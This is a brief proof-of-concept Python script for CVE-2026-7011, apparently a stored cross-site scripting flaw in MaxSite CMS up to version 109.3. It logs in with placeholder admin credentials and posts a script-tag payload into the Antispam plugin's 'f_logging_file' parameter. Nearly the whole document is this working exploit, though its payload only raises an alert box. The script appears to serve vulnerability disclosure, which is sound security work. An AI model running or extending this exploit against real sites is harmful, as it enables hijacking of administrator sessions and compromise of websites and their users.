CVE-2026-7011 MaxSite CMS跨站脚本漏洞

# Proof of Concept for CVE-2026-7011 # This script demonstrates the XSS vulnerability in MaxSite CMS <= 109.3 # via the 'f_logging_file' parameter in the Antispam plugin. import requests target_url = "http://example.com/admin/plugin_antispam" session = requests.Session() # Assume authentication is required (PR:H) login_payload = {"user": "admin", "pass": "password"} session.post("http://example.com/login", data=login_payload) # Exploit payload injection xss_payload = "<script>alert('CVE-2026-7011');</script>" data = { "f_logging_file": xss_payload, "action": "update_config" } response = session.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully. Check the admin page for XSS trigger.") else: print("[-] Failed to send payload.")